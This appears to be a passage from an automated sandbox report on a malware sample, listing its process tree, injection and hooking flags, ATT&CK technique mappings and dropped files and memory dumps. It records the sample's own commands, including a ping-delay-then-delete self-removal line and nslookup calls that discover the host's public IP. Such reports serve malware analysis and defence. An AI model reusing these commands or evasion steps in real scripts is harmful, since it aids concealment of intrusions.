        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9267.tmp" "c:\Users\Admin\AppData\Local\Temp\0snenslu\CSC189FF4A6423945E38D1F4A2A4C16602A.TMP"
        5⤵
        
        PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp"
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  - Suspicious use of SetThreadContext
  PID:2180
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Runs ping.exe
    PID:3424
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D09C.bi1"
  2⤵
  PID:2564
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:3420
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\C98C.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:3328
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D09C.bi1"
  2⤵
  PID:3000
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C98C.bi1"
  2⤵
  PID:1720
- C:\Program Files\Windows Mail\WinMail.exe
  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
  2⤵
  PID:2848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3356

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3716 CREDAT:82945 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  - Modifies Internet Explorer settings
  PID:1848
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3716 CREDAT:82952 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  - Modifies Internet Explorer settings
  PID:688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

Download Submit
C:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\BN2B51.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\C98C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\C98C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\D09C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\D09C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES91FA.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9267.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.dll

Download Submit
C:\Users\Admin\Documents\dDdoiBj.ocx

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0snenslu\0snenslu.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0snenslu\CSC189FF4A6423945E38D1F4A2A4C16602A.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\CSC870EFA2CBA194494BB911498C2B9A7CF.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hrp3l234\hrp3l234.cmdline

Download Submit
\Users\Admin\Documents\dDdoiBj.ocx

Download Submit
memory/688-76-0x0000000000000000-mapping.dmp

Download
memory/996-4-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/996-5-0x0000000000402960-mapping.dmp

Download
memory/996-6-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/1408-10-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

Download
memory/1408-8-0x000000000BC00000-0x000000000BC12000-memory.dmp

Filesize
72KB

Download
memory/1408-9-0x000000000BC01067-mapping.dmp

Download
memory/1564-14-0x0000000000DF6000-0x0000000000DF7000-memory.dmp

Filesize
4KB

Download
memory/1564-11-0x0000000000000000-mapping.dmp

Download
memory/1564-15-0x0000000001150000-0x0000000001151000-memory.dmp

Filesize
4KB

Download
memory/1660-0-0x0000000000000000-mapping.dmp

Download
memory/1720-101-0x0000000000000000-mapping.dmp

Download
memory/1848-75-0x0000000000000000-mapping.dmp

Download
memory/1924-78-0x0000000000000000-mapping.dmp

Download
memory/2128-19-0x00000000049F0000-0x00000000049F1000-memory.dmp

Filesize
4KB

Download
memory/2128-24-0x00000000050A0000-0x00000000050A1000-memory.dmp

Filesize
4KB

Download
memory/2180-92-0x0000000000000000-mapping.dmp

Download
memory/2180-93-0x000000D455726000-mapping.dmp

Download
memory/2448-81-0x0000000000000000-mapping.dmp

Download
memory/2564-96-0x0000000000000000-mapping.dmp

Download
memory/2848-106-0x0000000000000000-mapping.dmp

Download
memory/2848-107-0x0000008FE0668000-mapping.dmp

Download
memory/2848-77-0x0000000000000000-mapping.dmp

Download
memory/2852-88-0x0000000000000000-mapping.dmp

Download
memory/2976-7-0x0000000000000000-mapping.dmp

Download
memory/3000-100-0x0000000000000000-mapping.dmp

Download
memory/3024-97-0x0000000000000000-mapping.dmp

Download
memory/3328-98-0x0000000000000000-mapping.dmp

Download
memory/3420-99-0x0000000000000000-mapping.dmp

Download
memory/3424-95-0x0000002B6C601000-mapping.dmp

Download
memory/3424-94-0x0000000000000000-mapping.dmp

Download
memory/3660-85-0x0000000000000000-mapping.dmp

Download
memory/3976-21-0x0000000000000000-mapping.dmp

Download
memory/3976-22-0x0000000000000000-mapping.dmp

Download
memory/3976-72-0x0000000000000000-mapping.dmp

Download
memory/3976-20-0x0000000000000000-mapping.dmp

Download
memory/3976-73-0x0000000000000000-mapping.dmp

Download
memory/3976-74-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

Filesize
4KB

Download
memory/3976-2-0x0000000000000000-mapping.dmp

Download